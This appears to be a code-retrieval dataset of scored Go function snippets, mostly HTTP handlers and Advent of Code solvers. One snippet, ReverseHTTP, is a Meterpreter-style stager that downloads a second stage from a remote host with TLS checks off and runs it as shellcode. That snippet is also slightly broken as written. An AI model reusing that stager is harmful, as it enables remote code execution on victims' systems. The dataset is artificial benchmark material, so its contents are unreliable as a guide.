function\")\r\n\thelloValue, err := app.Fabric.QueryHello()\r\n\tfmt.Print(\"\\n Value of hello Value is: \", helloValue, \"\\n\")\r\n\tif err != nil {\r\n\t\thttp.Error(w, \"Unable to query the blockchain\", 500)\r\n\t}\r\n\tdata := &struct {\r\n\t\tHello string\r\n\t}{\r\n\t\tHello: helloValue,\r\n\t}\r\n\tdataJSON, _ := json.Marshal(data)\r\n\tw.Header().Set(\"Content-Type\", \"application/json; charset=UTF-8\")\r\n\tw.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\r\n\tw.WriteHeader(http.StatusOK)\r\n\tw.Write(dataJSON)\r\n\treturn\r\n}", "title": "" }, { "docid": "f1e579ad22e89365b9daf45bba3fd5f3", "score": "0.43446314", "text": "func handleRequest(conn net.Conn){\n\tbuf := make([]byte,1024)\n\treqLen,err := conn.Read(buf)\n\tCheck_NonFatalError(err)\n\tvar receivedMsg shared.OneStringMsg\n\terr = json.Unmarshal(buf[:reqLen],&receivedMsg)\n\tCheck_NonFatalError(err)\n\tfmt.Println(\"message from client:\",receivedMsg.Msg)\n\tconn.Write([]byte(\"Message Received.\"))\n\tconn.Close()\n}", "title": "" }, { "docid": "498a1117107ae910f697bc9b452f4db2", "score": "0.43444294", "text": "func Handler(w http.ResponseWriter, r *http.Request) {\n\t reqBody, err := ioutil.ReadAll(r.Body)\n if err != nil {\n w.WriteHeader(http.StatusBadRequest)\n w.Write([]byte(err.Error()))\n }\n\n body := string(reqBody)\n finalres:=body+\"third funciton\\n\"\n\n w.Write([]byte(finalres))\n}", "title": "" }, { "docid": "9f01d5c38725ed3f7efa79c2e2780693", "score": "0.43428463", "text": "func httpPost(url string, payload []byte) string {\n\treq, err := http.NewRequest(\"POST\", url, bytes.NewBuffer(payload))\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\n\tclient := &http.Client{}\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer resp.Body.Close()\n\n\tlog.Println(\"response Status:\", resp.Status)\n\tlog.Println(\"response Headers:\", resp.Header)\n\tbody, _ := ioutil.ReadAll(resp.Body)\n\tlog.Println(\"response Body:\", string(body))\n\n\treturn string(body)\n}", "title": "" }, { "docid": "399395c97eab956c40cc66b2d352a17e", "score": "0.43414253", "text": "func (o *InternetCreateRequest) GetName() string {\n\treturn o.Name\n}", "title": "" }, { "docid": "f7bba8db508baf9afaccddbd02130f16", "score": "0.43384144", "text": "func HTTPRequestField(request *http.Request) func(c *actions.FieldConfig) interface{} {\n\treturn func(c *actions.FieldConfig) interface{} {\n\t\treturn c.Runtime.ToValue(&httpRequest{\n\t\t\tMethod: request.Method,\n\t\t\tUrl: request.URL.String(),\n\t\t\tProto: request.Proto,\n\t\t\tContentLength: request.ContentLength,\n\t\t\tHost: request.Host,\n\t\t\tForm: copyMap(request.Form),\n\t\t\tPostForm: copyMap(request.PostForm),\n\t\t\tRemoteAddr: request.RemoteAddr,\n\t\t\tHeaders: copyMap(request.Header),\n\t\t})\n\t}\n}", "title": "" }, { "docid": "f7c095d21106bacdfe4dd505cfa1985b", "score": "0.43371102", "text": "func SendRequest(data []byte, url string, method string) string {\n\n\treq, err := http.NewRequest(method, url, bytes.NewBuffer(data))\n\tif err != nil {\n\t\treturn errorpk.AddError(\"Send Request global function package\", \"Can't Reach the destinaton \", \"critical error\")\n\n\t}\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\tclient := &http.Client{}\n\tresp, err := client.Do(req)\n\n\tif err != nil {\n\t\treturn errorpk.AddError(\"Send Request global function package\", \"Can't Reach the destinaton \", \"critical error\")\n\n\t}\n\n\tif resp.StatusCode == 500 {\n\t\tbodyBytes, _ := ioutil.ReadAll(resp.Body)\n\t\tbodyString := string(bodyBytes)\n\t\treturn bodyString\n\t}\n\n\tdefer resp.Body.Close()\n\treturn \"\"\n}", "title": "" }, { "docid": "5e1078c7aee14188150ebe78a9fb32ab", "score": "0.43359387", "text": "func (p *HTTP) Process() {\n\tdefer p.Conn.Close()\n\n\tfor {\n\t\t// parse http request\n\t\treq, err := http.ReadRequest(bufio.NewReader(p.Conn))\n\t\tif err != nil {\n\t\t\tif err == io.EOF {\n\t\t\t\tklog.Infof(\"[EdgeMesh] http client disconnected.\")\n\t\t\t\treturn\n\t\t\t}\n\t\t\tklog.Errorf(\"[EdgeMesh] parse http request err: %v\", err)\n\t\t\treturn\n\t\t}\n\n\t\t// http: Request.RequestURI can't be set in client requests\n\t\t// just reset it before transport\n\t\treq.RequestURI = \"\"\n\n\t\t// create invocation\n\t\tinv := invocation.New(context.Background())\n\n\t\t// set invocation\n\t\tinv.MicroServiceName = req.Host\n\t\tinv.SourceServiceID = \"\"\n\t\tinv.Protocol = \"rest\"\n\t\tinv.Strategy = config.Config.LBStrategy\n\t\tinv.Args = req\n\t\tinv.Reply = &http.Response{}\n\n\t\t// create handlerchain\n\t\tc, err := handler.CreateChain(common.Consumer, \"http\", handler.Loadbalance, handler.Transport)\n\t\tif err != nil {\n\t\t\tklog.Errorf(\"[EdgeMesh] create http handlerchain error: %v\", err)\n\t\t\treturn\n\t\t}\n\n\t\t// start to handle\n\t\tp.req = req\n\t\tc.Next(inv, p.responseCallback)\n\t}\n}", "title": "" }, { "docid": "50e630f82a95181cb8dd97b7015306a6", "score": "0.4335317", "text": "func (s *Server) Handle(evt json.RawMessage, ctx *runtime.Context) (gwres *Response, dummy error) {\n\tgwreq := new(apigatewayproxyevt.Event)\n\tgwres = &Response{StatusCode: http.StatusInternalServerError}\n\n\tif err := json.Unmarshal(evt, &gwreq); err != nil {\n\t\tlog.Println(err)\n\t\treturn\n\t}\n\n\tu, err := url.Parse(gwreq.Path)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn\n\t}\n\n\tq := u.Query()\n\tfor k, v := range gwreq.QueryStringParameters {\n\t\tq.Set(k, v)\n\t}\n\tu.RawQuery = q.Encode()\n\n\tdec := gwreq.Body\n\tif gwreq.IsBase64Encoded {\n\t\tdata, err := base64.StdEncoding.DecodeString(dec)\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t\treturn\n\t\t}\n\t\tdec = string(data)\n\t}\n\n\treq, err := http.NewRequest(gwreq.HTTPMethod, s.pt+u.String(), strings.NewReader(dec))\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn\n\t}\n\n\tgwreq.Body = \"... truncated\"\n\n\tfor k, v := range gwreq.Headers {\n\t\treq.Header.Set(k, v)\n\t}\n\tif len(req.Header.Get(\"X-Forwarded-For\")) == 0 {\n\t\treq.Header.Set(\"X-Forwarded-For\", gwreq.RequestContext.Identity.SourceIP)\n\t}\n\n\thbody, err := json.Marshal(gwreq)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn\n\t}\n\treq.Header.Set(\"X-ApiGatewayProxy-Event\", string(hbody))\n\n\thctx, err := json.Marshal(ctx)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn\n\t}\n\treq.Header.Set(\"X-ApiGatewayProxy-Context\", string(hctx))\n\n\treq.Host = gwreq.Headers[\"Host\"]\n\n\tres, err := newClient().Do(req)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn\n\t}\n\tdefer res.Body.Close()\n\n\tbody, err := ioutil.ReadAll(res.Body)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn\n\t}\n\n\tct := res.Header.Get(\"Content-Type\")\n\tif ct == \"\" {\n\t\tct = http.DetectContentType(body)\n\t\tres.Header.Set(\"Content-Type\", ct)\n\t}\n\n\tif _, ok := s.ts[ct]; ok {\n\t\tgwres.Body = base64.StdEncoding.EncodeToString(body)\n\t\tgwres.IsBase64Encoded = true\n\t} else {\n\t\tgwres.Body = string(body)\n\t}\n\n\tgwres.Headers = make(map[string]string)\n\tfor k := range res.Header {\n\t\tgwres.Headers[k] = res.Header.Get(k)\n\t}\n\n\tgwres.StatusCode = res.StatusCode\n\n\treturn\n}", "title": "" }, { "docid": "1d9b71112cb033b4f8081562997e583f", "score": "0.43286294", "text": "func http_server(w http.ResponseWriter, r *http.Request) {\n\n\tif r.Method == \"GET\" {\n\t\tw.WriteHeader(http.StatusOK)\n\t\tw.Write([]byte(\"{\\\"message\\\": \\\"ok\\\"}\"))\n\t\treturn;\n\t}\n\n\tvar body map[string]interface{}\n\terr := json.NewDecoder(r.Body).Decode(&body)\n\tfailOnError(err, \"Parsing JSON\")\n\tdata, _ := json.Marshal(body)\n\n\t// Publicar el mensaje, convertimos el objeto JSON a String\n\tpublish(string(data))\n\n\t// Enviamos informacion de vuelta, indicando que fue generada la peticion\n\tfmt.Fprintf(w, \"¡Mensaje Publicado!\\n\")\n\tfmt.Fprintln(w, string(data))\n\t\n}", "title": "" }, { "docid": "2bfed222b2713dab11b834140a4338f0", "score": "0.4323277", "text": "func (s *Statsws) HandleRequest(w http.ResponseWriter, r *http.Request) {\n fmt.Printf(\"[ %v ]\\t%v %v\\n\", r.RemoteAddr, r.Method, r.URL)\n conn, err := websocket.Upgrade(w, r, w.Header(), 1024, 1024)\n if err != nil {\n http.Error(w, \"Could not open websocket connection\", http.StatusBadRequest)\n return\n }\n\n c := newConnection(conn, r.RemoteAddr)\n s.register <- c\n}", "title": "" }, { "docid": "811fcd6cd49c8c3e4bb64c3097545bde", "score": "0.43225405", "text": "func (h String) ServeHTTP(w http.ResponseWriter, r *http.Request) {\n fmt.Fprint(w, h)\n}", "title": "" }, { "docid": "ff6f565506384d45e63cfe5e0b1d76a5", "score": "0.43178165", "text": "func Health(w http.ResponseWriter, r *http.Request) {\n // set the header to content type x-www-form-urlencoded\n // Allow all origin to handle cors issue\n w.Header().Set(\"Context-Type\", \"application/x-www-form-urlencoded\")\n w.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n w.Header().Set(\"Access-Control-Allow-Methods\", \"POST\")\n w.Header().Set(\"Access-Control-Allow-Headers\", \"Content-Type\")\n\n createConnection()\n\n}", "title": "" }, { "docid": "507ac94ee101d73857a99570fabed468", "score": "0.43158093", "text": "func (h *Source) Process(from, post string) string {\n\ts := NameRE.ReplaceAllString(from, \"$1\")\n\treturn fmt.Sprintf(\"%s: %s ;D\", s, \"https://git.sr.ht/~qbit/mcchunkie\")\n}", "title": "" }, { "docid": "ab36a672c1de29d733cf5f3f69421c10", "score": "0.43153587", "text": "func (webhook WebHook) ServeHTTP(w http.ResponseWriter, r *http.Request) {\n\tpayload, err := github.ValidatePayload(r, []byte(webhook.GithubKey))\n\tif err != nil {\n\t\tglog.Error(err)\n\t\thttp.Error(w, \"Failed to validate payload\", 400)\n\t\treturn\n\t}\n\tevent, err := github.ParseWebHook(github.WebHookType(r), payload)\n\tif err != nil {\n\t\tglog.Error(err)\n\t\thttp.Error(w, \"Failed to parse event\", 400)\n\t\treturn\n\n\t}\n\n\tswitch event := event.(type) {\n\tcase *github.StatusEvent:\n\t\tif event.Commit != nil && event.Commit.SHA != nil {\n\t\t\twebhook.Status.CommitStatusChanged(*event.Commit.SHA)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "38ad7ba238d11728497875b4528c7d57", "score": "0.43112105", "text": "func HTTP(code uint32, method, url string) FlowFilterImplementation {\n\treturn &httpFilter{code: code, method: method, url: url}\n}", "title": "" }, { "docid": "a038ce73080e5ae8c46b29439740a6dd", "score": "0.43019733", "text": "func handleRequest(conn net.Conn) {\n\tbuf := make([]byte, 1024)\n\t_, err := conn.Read(buf)\n\tif err != nil {\n\t\tfmt.Println(\"Error reading:\", err.Error())\n\t}\n\tret := []byte(\"STAT start_time 1\\r\\nSTAT version 0.0\\r\\nSTAT fibers_allocated 1\\r\\nSTAT commandargs --debug-fifo-root /var/lib/mcrouter/fifos --test-mode\\r\\nEND\\r\\n\")\n\tconn.Write(ret)\n\tconn.Close()\n}", "title": "" }, { "docid": "0f6d6a73c2e66a7fd533583a435cc397", "score": "0.4285865", "text": "func GetValue(r *http.Request, name string) string {\n\tvalues := r.URL.Query()\n\t// pat url parameter\n\tif _, found := values[\":\"+name]; found {\n\t\treturn values.Get(\":\" + name)\n\t}\n\t// query string\n\treturn values.Get(name)\n}", "title": "" }, { "docid": "98c1e83d9ded149fac70287501303063", "score": "0.42854157", "text": "func ReverseHTTP(connType, address string) error {\n\turl := connType + \"://\" + address + \"/\" + NewURI(rand.Intn(123)+5)\n\tclient := &http.Client{}\n\tif connType == \"https\" {\n\t\ttransport := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}\n\t\tclient = &http.Client{Transport: transport}\n\t}\n\treq, err := http.NewRequest(\"GET\", url, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\treq.Header.Set(\"User-Agent\", \"Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko\")\n\tclient := &http.Client{}\n\tresp, err = client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\tstage2buf, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif len(stage2buf) < 100 {\n\t\treturn errors.New(\"meterpreter error: could not receive second stage\")\n\t}\n\treturn ExecShellcode(stage2buf)\n}", "title": "" }, { "docid": "e467b126675d6a7fa8e763f0c82d1015", "score": "0.4285265", "text": "func (f BurritoHandlerFunc) ServeHTTP(w http.ResponseWriter, r *http.Request, e *environment.Env) {\n\tf(w, r, e)\n}", "title": "" }, { "docid": "d91208d0fd20fe55e297c53524399e4b", "score": "0.42805883", "text": "func getHostname(r *http.Request) string {\n hostSlices := strings.Split(r.URL.Host, \":\")\n\n return strings.ToLower(hostSlices[0])\n}", "title": "" }, { "docid": "bbe7260beaea8a7abc6079cbf504401d", "score": "0.4278862", "text": "func (fn GetItemNameHandlerFunc) Handle(params GetItemNameParams) middleware.Responder {\n\treturn fn(params)\n}", "title": "" }, { "docid": "6cdcaf10da68aecaa73bf354e24f39e4", "score": "0.4278179", "text": "func (m hotdog) ServeHTTP(w http.ResponseWriter, req *http.Request) {\n\tfmt.Println(\"Any code you want in this func\")\n}", "title": "" }, { "docid": "e84362b8d2727596de9069eee64f7399", "score": "0.42773646", "text": "func handleApiGWRequest(ctx context.Context, request IntegrationRequest) (IntegrationResponse, error) {\n\tfmt.Printf(\"%s\\n\", request.Body)\n\theaders := map[string]string{\"Content-Type\": \"application/json\"}\n\tvar body map[string]interface{}\n\terr := json.Unmarshal([]byte(request.Body), &body)\n\tif err != nil {\n\t\tfmt.Printf(\"json unmarshal IntegrationRequest.Body failed, Body: %s\\nError: %s\\n\", request.Body, err.Error())\n\t}\n\tswitch body[POST_TYPE] {\n\tcase Message:\n\t\tif body[MESSAGE_TYPE] == GROUP_MESSAGE {\n\t\t\tevent := &event.GroupMessageEvent{}\n\t\t\tmapstructure.Decode(body, event)\n\t\t\treturn IntegrationResponse{Headers: headers, StatusCode: 200, Body: handler.GroupMessageHandler(*event).String()}, nil\n\t\t} else if body[MESSAGE_TYPE] == PRIVATE_MESSAGE {\n\t\t\tevent := &event.PrivateMessageEvent{}\n\t\t\tmapstructure.Decode(body, &event)\n\t\t\treturn IntegrationResponse{Headers: headers, StatusCode: 200, Body: handler.PrivateMessageHandler(*event).String()}, nil\n\t\t}\n\tcase Notice:\n\t\t// todo 撤回消息\n\tcase Request:\n\t\tif body[REQUEST_TYPE] == Group {\n\t\t\tevent := &event.InviteGroupEvent{}\n\t\t\tmapstructure.Decode(body, &event)\n\t\t\treturn IntegrationResponse{Headers: headers, StatusCode: 200, Body: handler.GroupRequestHandler(*event).String()}, nil\n\t\t}\n\t}\n\treturn IntegrationResponse{}, nil\n}", "title": "" }, { "docid": "89500dbda0e5bc236263fd6aa4d9c0c9", "score": "0.42739397", "text": "func (bgc *backgroundConnection) HandlePayloadRequest(ctx context.Context, payloadID string) error {\n\tctx = status.Start(ctx, \"Payload Request\")\n\tdefer status.Finish(ctx)\n\n\tpid, err := id.Parse(payloadID)\n\tif err != nil {\n\t\treturn log.Errf(ctx, err, \"Parsing payload ID\")\n\t}\n\tboxed, err := database.Resolve(ctx, pid)\n\tif err != nil {\n\t\treturn log.Errf(ctx, err, \"Getting replay payload\")\n\t}\n\tif payload, ok := boxed.(*gapir.Payload); ok {\n\t\treturn bgc.conn.SendPayload(ctx, *payload)\n\t}\n\treturn log.Errf(ctx, err, \"Payload type is unexpected: %T\", boxed)\n}", "title": "" }, { "docid": "4bdae2234e0883d269bb34ddbb7a4bc3", "score": "0.42726713", "text": "func (req *HttpRequest) Input(key string) string {\n\tif req.IsJSON() {\n\t\tval := req.JSONGet(key)\n\t\tif val != \"\" {\n\t\t\treturn val\n\t\t}\n\t}\n\n\treturn req.r.FormValue(key)\n}", "title": "" }, { "docid": "41dbe30418ec3875b7daf51b90a25587", "score": "0.4272407", "text": "func HelloContentType(w http.ResponseWriter, r *http.Request) {\n\tvar name string\n\n\tswitch r.Header.Get(\"Content-Type\") {\n\tcase \"application/json\":\n\t\tvar d struct {\n\t\t\tName string `json:\"name\"`\n\t\t}\n\t\terr := json.NewDecoder(r.Body).Decode(&d)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"error parsing application/json: %v\", err)\n\t\t} else {\n\t\t\tname = d.Name\n\t\t}\n\tcase \"application/octet-stream\":\n\t\tbody, err := ioutil.ReadAll(r.Body)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"error parsing application/octet-stream: %v\", err)\n\t\t} else {\n\t\t\tname = string(body)\n\t\t}\n\tcase \"text/plain\":\n\t\tbody, err := ioutil.ReadAll(r.Body)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"error parsing text/plain: %v\", err)\n\t\t} else {\n\t\t\tname = string(body)\n\t\t}\n\tcase \"application/x-www-form-urlencoded\":\n\t\tif err := r.ParseForm(); err != nil {\n\t\t\tlog.Printf(\"error parsing application/x-www-form-urlencoded: %v\", err)\n\t\t} else {\n\t\t\tname = r.FormValue(\"name\")\n\t\t}\n\t}\n\n\tif name == \"\" {\n\t\tname = \"World\"\n\t}\n\n\tfmt.Fprintf(w, \"Hello, %s!\", html.EscapeString(name))\n}", "title": "" } ]
2e63442004fdfc5a9e56bdee6c293f45
SolvePart2 solves part 1 of the the day01 puzzle
[ { "docid": "a2be47bd2aeed38f63c88c3f1fc9a7bc", "score": "0.71749115", "text": "func SolvePart2(data []int) int {\n\ttotalFuel := 0\n\tfor i := range data {\n\t\tmass := data[i]\n\t\tfuel := int(mass/3) - 2\n\t\textra := fuel\n\t\tfor {\n\t\t\textra = int(extra/3) - 2\n\t\t\tif extra <= 0 {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tfuel += extra\n\t\t}\n\n\t\ttotalFuel += fuel\n\t}\n\n\tfmt.Println(\"Part 2 - Total fuel:\", strconv.Itoa(totalFuel))\n\treturn totalFuel\n\n}", "title": "" } ]
[ { "docid": "59abc07c4d0c391d8bf8bfc87bf610a7", "score": "0.73483205", "text": "func (d Day) SolvePartTwo() (string, error) {\n\treturn runWithInput(d.program, 2)\n}", "title": "" }, { "docid": "6ec598bc935743bbc95cdbada9f4f1ab", "score": "0.7068963", "text": "func (d Day) SolvePartTwo() (string, error) {\n\tgrid := grid(make(map[panel]color))\n\tgrid[panel{0, 0}] = white\n\trobot := newRobot()\n\n\tintcodeProgram, err := intcode.NewIntcodeProgram(\n\t\td.program, robot.onInput(grid), robot.onOutput(grid),\n\t)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\terr = intcodeProgram.Run()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\ttopLeft := grid.topLeftPanel()\n\tbottomRight := grid.bottomRightPanel()\n\n\treturn grid.renderHull(topLeft, bottomRight), nil\n}", "title": "" }, { "docid": "6790330ce4e0defe70cb8707a54185ef", "score": "0.69787014", "text": "func Solve() {\n\tfmt.Printf(\"Day 6 solution, part I: %d\\n\", partOne())\n\tfmt.Printf(\"Day 6 solution, part II: %d\\n\", partTwo())\n}", "title": "" }, { "docid": "d20a9c29e28469c21a53fb73b37676cc", "score": "0.68638885", "text": "func solve2(input string) string {\n\tinit := GetInitialPuzzleState(input)\n\t// add the 2 gen/chips on the first floor\n\t// i.e. 4 entries all 0\n\tinit.Items = append(init.Items, 0, 0, 0, 0)\n\treturn fmt.Sprintf(\"%d\", solveInt(init))\n}", "title": "" }, { "docid": "87e7caf9ff3dccde01b1b6a9d9f80840", "score": "0.6857334", "text": "func Solve() {\n\tfmt.Printf(\"\\n*** DAY 1 ***\\n\")\n\tdata := loader.ReadIntsFromFile(inputFile, false)\n\tSolvePart1(data)\n\tSolvePart2(data)\n}", "title": "" }, { "docid": "4dc6a48e4b63592bf59cc023612ce49d", "score": "0.68506855", "text": "func Solve() {\n\tfmt.Printf(\"Day 3 Solution, part I: %d\\n\", solvePartOne(input))\n\tfmt.Printf(\"Day 3 Solution, part II: %d\\n\", solvePartTwo(input))\n}", "title": "" }, { "docid": "48c2246e6e6093b14b80ab6c6025336a", "score": "0.67021674", "text": "func (s *Solver) Part2(input string) (string, error) {\n\tinformation, err := parseAllInformation(input)\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"parsing the input\")\n\t}\n\n\tdecoder := newRuleDecoder(information.rules)\n\n\tdecoder.AnalyzeTickets(information.nearbyTickets)\n\n\tif !decoder.SolutionFound() {\n\t\treturn \"\", errors.New(\"decoder failed to find a solution\")\n\t}\n\n\tdepartureFieldIndices := decoder.IndicesOfDepartureValues()\n\tsumOfDepartureValues := 1\n\tfor _, index := range departureFieldIndices {\n\t\tsumOfDepartureValues *= information.myTicket.values[index]\n\t}\n\n\treturn strconv.Itoa(sumOfDepartureValues), nil\n}", "title": "" }, { "docid": "4323f1e7b7013520285de43f28c17653", "score": "0.6657456", "text": "func solve2(input string) string {\n\treturn fmt.Sprint(solveN(input, 4))\n}", "title": "" }, { "docid": "2f0f8c566fb054837cb53cc83836cfb0", "score": "0.6646766", "text": "func Solve() {\n\tpartOne()\n\tpartTwo()\n}", "title": "" }, { "docid": "b3e3d0cff46492f5cefc1eb554a19d58", "score": "0.6580587", "text": "func Part2() int64 {\n\tinput := intcode.LoadFromFile(\"day07/input.txt\")\n\tpermutations := calculatePermutations()\n\n\tvar finalOutput int64\n\t// Input for the first instruction, the phase setting from 0 to 4\n\tfor _, permutation := range permutations {\n\t\tpcs := make([]*intcode.Computer, 5)\n\t\tfor i := range pcs {\n\t\t\tpcs[i] = intcode.NewComputer(append([]int64{}, input...))\n\t\t}\n\t\tfor i, pc := range pcs {\n\t\t\tpc.Step(permutation[i] + 5)\n\t\t}\n\n\t\tvar loopInputSignal int64\n\t\tvar loopOutputSignal int64\n\t\tfinished := false\n\t\tfor !finished {\n\t\t\tfor _, pc := range pcs {\n\t\t\t\tloopOutputSignal = 0\n\t\t\t\thasOutput := false\n\t\t\t\t// continue running until the pc outputs something, then pass it on\n\t\t\t\tfor !hasOutput && !pc.Halted {\n\t\t\t\t\toutput, ok := pc.Step(loopInputSignal)\n\t\t\t\t\tif output == -1 {\n\t\t\t\t\t\tfmt.Println(\"Received error code from computer.Step(), printing state:\")\n\t\t\t\t\t\tfmt.Println(intcode.PrintStatus(pc))\n\t\t\t\t\t\treturn -1\n\t\t\t\t\t}\n\t\t\t\t\tif ok {\n\t\t\t\t\t\thasOutput = ok\n\t\t\t\t\t\tloopOutputSignal = output\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tloopInputSignal = loopOutputSignal\n\t\t\t\tfinished = pc.Halted\n\t\t\t}\n\t\t\tif loopOutputSignal > finalOutput {\n\t\t\t\tfinalOutput = loopOutputSignal\n\t\t\t}\n\t\t}\n\t}\n\n\treturn finalOutput\n}", "title": "" }, { "docid": "b0ae912107bd224a27baf4c1e83ec04d", "score": "0.6551952", "text": "func (d *Computer) Part2(input days.Input) (days.Result, error) {\r\n\tmultiverse := ParseProgram(input).createMultiverse()\r\n\r\n\tfor _, program := range multiverse {\r\n\t\tprogram.execute()\r\n\r\n\t\tif !program.hitInfiniteLoop {\r\n\t\t\treturn days.Result(fmt.Sprint(program.accumulator)), nil\r\n\t\t}\r\n\t}\r\n\r\n\treturn \"\", fmt.Errorf(\"No answer found\")\r\n}", "title": "" }, { "docid": "e9e1990a10e8fa5ef0f8e40ac8e29b9d", "score": "0.6505415", "text": "func solveDay24Part2() {\n\tdirections := getDay24Data()\n\texecuteFlipArt(directions)\n}", "title": "" }, { "docid": "d39eaa076d4f2249be2ae7726a0cff58", "score": "0.6467033", "text": "func solveDay20Part1() {\n\ttiles := parseTiles(getDataFromFile(\"day20\"))\n\n\tdim := int(math.Sqrt(float64(len(tiles))))\n\tfmt.Printf(\"Puzzle dimension: %d\\n\", dim)\n\tfindPuzzle(tiles, []*Row{})\n}", "title": "" }, { "docid": "0f3efb072b32cd02558db378de65eab0", "score": "0.6465522", "text": "func solve2(input string) string {\n\treturn solveSane2(input, 150)\n}", "title": "" }, { "docid": "de3cce304453da686dea797ba2d12ac0", "score": "0.6439959", "text": "func Day2Part2(input []string) (string, error) {\n\tcodeStrings := strings.Split(input[0], \",\")\n\tcodes := make([]int, len(codeStrings))\n\tfor i, c := range codeStrings {\n\t\tx, err := strconv.Atoi(c)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tcodes[i] = x\n\t}\n\n\tfor noun := 0; noun < 100; noun++ {\n\t\tfor verb := 0; verb < 100; verb++ {\n\t\t\t// Copy the original input so we don't use a stale version\n\t\t\tcurrCodes := append(codes[:0:0], codes...)\n\n\t\t\t// Set the inputs\n\t\t\tcurrCodes[1] = noun\n\t\t\tcurrCodes[2] = verb\n\n\t\t\tres, err := process(currCodes)\n\t\t\tif err != nil {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t\tif res == 19690720 {\n\t\t\t\treturn fmt.Sprintf(\"%d\", 100*noun+verb), nil\n\t\t\t}\n\t\t}\n\t}\n\treturn \"\", errors.New(\"Could not solve\")\n}", "title": "" }, { "docid": "d44f25e5128cbac74123568c2f144f46", "score": "0.6415077", "text": "func Solve() {\n\tfmt.Println(\"\\n*** DAY 3 ***\")\n\tdata := loader.ReadStringsFromFile(inputFile, false)\n\tsolvePart1(data)\n\tsolvePart2(data)\n}", "title": "" }, { "docid": "bf45c4b1b1d96b5477943e31232aea21", "score": "0.63538593", "text": "func solveDay20Part2() {\n\ttiles := parseTiles(getDataFromFile(\"day20\"))\n\n\tdim := int(math.Sqrt(float64(len(tiles))))\n\tfmt.Printf(\"Puzzle dimension: %d\\n\", dim)\n\tpuzzle, _ := findPuzzle(tiles, []*Row{})\n\t// puzzle, _ := findPuzzle(tiles[:9], []*Row{})\n\tpuzzle.print()\n\n\tfmt.Println(\"Looking for sea monsters...\")\n\tpuzzle.reduce()\n\n\tpuzzles := []*Puzzle{puzzle, puzzle.flip()}\n\n\tvar best *Puzzle\n\tfor _, pzzl := range puzzles {\n\t\tfor i := 0; i < 4; i++ {\n\t\t\tres := pzzl.findSeamonster(0, 0)\n\t\t\tres.count()\n\t\t\tif best == nil || res.twos > best.twos {\n\t\t\t\tbest = res\n\t\t\t}\n\t\t\tpzzl = pzzl.rotate()\n\t\t}\n\t}\n\n\tbest.print()\n\tones, twos := best.count()\n\tfmt.Printf(\"%d ones and %d sea monsters detected\\n\", ones, twos/15)\n}", "title": "" }, { "docid": "806b7ff1e1508e3dd424735eba65f016", "score": "0.6321262", "text": "func solve2(input string) string {\n\t//8,0 -> 0,8\n\tgrid := make(Grid)\n\taoc.MapLines(input, func(line string) error {\n\t\t// we want horizontal or vetical lines only.\n\t\tl := Line{}\n\t\tfmt.Sscanf(line, \"%d,%d -> %d,%d\", &(l.x1), &(l.y1), &(l.x2), &(l.y2))\n\t\tgrid.AddStraightLine(l, true)\n\n\t\treturn nil\n\t})\n\n\treturn fmt.Sprintf(\"%d\", grid.CountIntersections())\n}", "title": "" }, { "docid": "a07f59b88c7517854f7026824fb1b976", "score": "0.63205945", "text": "func (s *Solver) Part2() (string, error) {\n\tvar res int\n\n\t// Get nodes in YOU to COM path and nodes in SAN to YOU path\n\tyouToCOM := s.GraphToCOM.Path(\"YOU\", \"COM\")\n\tsanToCOM := s.GraphToCOM.Path(\"SAN\", \"COM\")\n\n\t// Take the path from SAN to COM and keep note of the distance each one is from SAN\n\tdistancesFromSan := make(map[string]int)\n\n\tfor i, nodeOnSanPath := range sanToCOM {\n\t\tdistancesFromSan[nodeOnSanPath] = i\n\t}\n\n\t// Take the path from YOU to COM and find the first node that it's also on SAN to COM path\n\tfor i, node := range youToCOM {\n\t\tif distance, ok := distancesFromSan[node]; ok {\n\t\t\tres = i + distance\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn strconv.Itoa(res), nil\n}", "title": "" }, { "docid": "d45394b05fab0340cd52ee62a04e2aa3", "score": "0.62155443", "text": "func part2(input []InputType, res1 Part1Type) (result Part2Type) {\n\tmonkeysMap := createMap(input)\n\n\tm := monkeysMap[\"humn\"]\n\tm.n = 0\n\tm.ready = true\n\tmonkeysMap[\"humn\"] = m\n\tgetMonkeyNum(&monkeysMap, \"root\")\n\trootOps0 := []int64{monkeysMap[monkeysMap[\"root\"].operands[0]].n, monkeysMap[monkeysMap[\"root\"].operands[1]].n}\n\n\tvar humnDependentRootIdx int\n\tfor i := 0; ; i++ {\n\t\tunready(&monkeysMap, \"humn\")\n\t\tm = monkeysMap[\"humn\"]\n\t\tm.n = int64(i)\n\t\tm.ready = true\n\t\tmonkeysMap[\"humn\"] = m\n\t\tgetMonkeyNum(&monkeysMap, \"root\")\n\t\trootOps1 := []int64{monkeysMap[monkeysMap[\"root\"].operands[0]].n, monkeysMap[monkeysMap[\"root\"].operands[1]].n}\n\n\t\tif rootOps0[0] == rootOps1[0] && 